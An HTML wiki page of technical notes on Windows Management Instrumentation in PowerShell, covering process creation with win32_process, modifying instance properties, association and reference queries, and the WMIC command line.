<h2 id="bkmrk-using-methods"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlVzaW5nJTIwbWV0aG9kcyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Using methods</span></h2>
<h3 id="bkmrk-create-executable"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlVzaW5nJTIwbWV0aG9kcyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Create executable</span></h3>
<p id="bkmrk-we-can-create-execut"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlVzaW5nJTIwbWV0aG9kcyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">We can create executable with Create methods from win32_process</span></p>
<pre id="bkmrk-invoke-wmimethod--cl"><code class="language-Powershell">Invoke-WmiMethod -Class win32_process -Name Create -ArgumentListe @(calc.exe)
Invoke-CimMethod -ClassName win32_process -Name Create -Arguments @{commandline = "calc.exe"}</code></pre>
<h3 id="bkmrk-modify-instance"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk1vZGlmeSUyMGluc3RhbmNlJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Modify instance</span></h3>
<p id="bkmrk-useful-to-modify-wri"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk1vZGlmeSUyMGluc3RhbmNlJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Useful to modify writable properties of WMI objects</span></p>
<pre id="bkmrk-get-wmiobject--class-3"><code class="language-Powershell">Get-WmiObject -Class win32_Printer -Filter "Name = 'Microsoft XPS Document Writer'" | Set-WmiInstance -Arguments @{Comment = "WMI Coucou"}
Get-CimInstance -ClassName win32_Printer -Filter "Name = 'Microsoft XPS Document Writer'" | Set-CimInstance -Property @{Comment = "CIM Coucou"}</code></pre>
<h2 id="bkmrk-associations"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkFzc29jaWF0aW9ucyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Associations</span></h2>
<p id="bkmrk-there-are-relations-" class="blockParagraph-544a408c" data-key="e3ef16c835e3482dbe1ab79b2bf9208d"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="92214a45845a450692f76b6628ae19bc">There are relations between WMI classes which can be used to retrieve information about managed objects</span></span></p>
<p id="bkmrk-by-running%2C-for-exam" class="blockParagraph-544a408c" data-key="83d09da4a17f4ebda93f9201d80433a9"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="976511edc5d348a2a1807559d1abe36f">By running, for example, <code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">Get-WmiObject -Class win32_NetworkAdaptater | fl *</code> we can retrieve the <strong class="bold-3c254bd9" data-slate-leaf="true">__RELPATH</strong> property, which can be used to list associations</span></span></p>
<h3 id="bkmrk-associators-of" class="blockParagraph-544a408c" data-key="83d09da4a17f4ebda93f9201d80433a9"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="976511edc5d348a2a1807559d1abe36f"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkFzc29jaWF0b3JzJTIwT2YlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Associators Of</span></span></span></h3>
<h4 id="bkmrk-get-all-instances-fr"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="976511edc5d348a2a1807559d1abe36f"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkFzc29jaWF0b3JzJTIwT2YlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Get all instances from all the associated classes</span></span></span></h4>
<pre id="bkmrk-%23deviceid-is-the-rel"><code class="language-Powershell">#DeviceID is the RELPATH
Get-WmiObject -Query "Associators of {win32_NetworkAdaptater.DeviceID=11}"</code></pre>
<h4 id="bkmrk-look-only-at-the-ass"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkxvb2slMjBvbmx5JTIwYXQlMjB0aGUlMjBhc3NvY2lhdGVkJTIwY2xhc3MlMjBkZWZpbml0aW9uJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Look only at the associated class definition</span></h4>
<pre id="bkmrk-get-wmiobject--query"><code class="language-Powershell">Get-WmiObject -Query "Associators of {win32_NetworkAdaptater.DeviceID=11} Where ClassDefsOnly"
</code></pre>
<p id="bkmrk-can-also-be-done-wit"><span data-offset-key="29d1f6a9e8fb49f0b2dfdee6a2f296d9:0">Can also be done with </span><span data-offset-key="29d1f6a9e8fb49f0b2dfdee6a2f296d9:1" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNhbiUyMGFsc28lMjBiZSUyMGRvbmUlMjB3aXRoJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldC1DaW1Bc3NvY2lhdGVkSW5zdGFuY2UlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29kZSUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q="><code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">Get-CimAssociatedInstance</code></span></p>
<h4 id="bkmrk-retrieve-instance-of"><span data-offset-key="29d1f6a9e8fb49f0b2dfdee6a2f296d9:1" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNhbiUyMGFsc28lMjBiZSUyMGRvbmUlMjB3aXRoJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdldC1DaW1Bc3NvY2lhdGVkSW5zdGFuY2UlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyY29kZSUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q="><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlJldHJpZXZlJTIwaW5zdGFuY2UlMjBvZiUyMGElMjBzaW5nbGUlMjBhc3NvY2lhdGVkJTIwY2xhc3MlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Retrieve instance of a single associated class</span></span></h4>
<pre id="bkmrk-get-wmiobject--query-0"><code class="language-Powershell">Get-WmiObject -Query "Associators of {win32_NetworkAdaptater.DeviceID=11} Where AssocClass=win32_ProtocolBinding"</code></pre>
<p id="bkmrk-if-there-is-no-outpu" class="callout info"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoaW50JTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTIyc3R5bGUlMjIlM0ElMjJpbmZvJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMklmJTIwdGhlcmUlMjBpcyUyMG5vJTIwb3V0cHV0JTJDJTIwdHJ5JTIwdG8lMjBjaGFuZ2UlMjBEZXZpY2VJRCUyMHZhbHVlJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">If there is no output, try to change DeviceID value</span></p>
<h3 id="bkmrk-references-of"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoaW50JTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTIyc3R5bGUlMjIlM0ElMjJpbmZvJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMklmJTIwdGhlcmUlMjBpcyUyMG5vJTIwb3V0cHV0JTJDJTIwdHJ5JTIwdG8lMjBjaGFuZ2UlMjBEZXZpY2VJRCUyMHZhbHVlJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">References Of</span></h3>
<p id="bkmrk-there-is-some-classe"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoaW50JTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTIyc3R5bGUlMjIlM0ElMjJpbmZvJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMklmJTIwdGhlcmUlMjBpcyUyMG5vJTIwb3V0cHV0JTJDJTIwdHJ5JTIwdG8lMjBjaGFuZ2UlMjBEZXZpY2VJRCUyMHZhbHVlJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">There is some classes that make links between other classes</span></p>
<h4 id="bkmrk-list"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoaW50JTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTIyc3R5bGUlMjIlM0ElMjJpbmZvJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMklmJTIwdGhlcmUlMjBpcyUyMG5vJTIwb3V0cHV0JTJDJTIwdHJ5JTIwdG8lMjBjaGFuZ2UlMjBEZXZpY2VJRCUyMHZhbHVlJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">List</span></h4>
<pre id="bkmrk-get-wmiobject--query-1"><code class="language-Powershell">Get-WmiObject -Query "References of {win32_NetworkAdaptater.DeviceID=11} Where ClassDefsOnly"</code></pre>
<h2 id="bkmrk-wmic"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMldNSUMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">WMIC</span></h2>
<p id="bkmrk-wmi-command-line%2C-ou"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMldNSUMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">WMI command line, outdated by PowerShell cmdlet</span></p>
<pre id="bkmrk-wmic-%3E%2F%3F-%23run-help-%3E"><code class="language-Powershell">wmic
&gt;/? #Run help
&gt;process /? #get help on process class</code></pre>
<p id="bkmrk-can-take-multiple-ve"><span data-offset-key="7f7e8bc897a34ebca53c75d3bb672ae2:0">Can take multiple verbs to </span><span data-offset-key="7f7e8bc897a34ebca53c75d3bb672ae2:1"><strong class="bold-3c254bd9" data-slate-leaf="true">call</strong></span><span data-offset-key="7f7e8bc897a34ebca53c75d3bb672ae2:2">, </span><span data-offset-key="7f7e8bc897a34ebca53c75d3bb672ae2:3"><strong class="bold-3c254bd9" data-slate-leaf="true">create</strong></span><span data-offset-key="7f7e8bc897a34ebca53c75d3bb672ae2:4">, </span><span data-offset-key="7f7e8bc897a34ebca53c75d3bb672ae2:5"><strong class="bold-3c254bd9" data-slate-leaf="true">delete</strong></span><span data-offset-key="7f7e8bc897a34ebca53c75d3bb672ae2:6">, </span><span data-offset-key="7f7e8bc897a34ebca53c75d3bb672ae2:7"><strong class="bold-3c254bd9" data-slate-leaf="true">list</strong></span><span data-offset-key="7f7e8bc897a34ebca53c75d3bb672ae2:8" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNhbiUyMHRha2UlMjBtdWx0aXBsZSUyMHZlcmJzJTIwdG8lMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyY2FsbCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTJDJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmNyZWF0ZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTJDJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmRlbGV0ZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTJDJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmxpc3QlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyYm9sZCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyQyUyMGV0YyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">, etc</span></p>
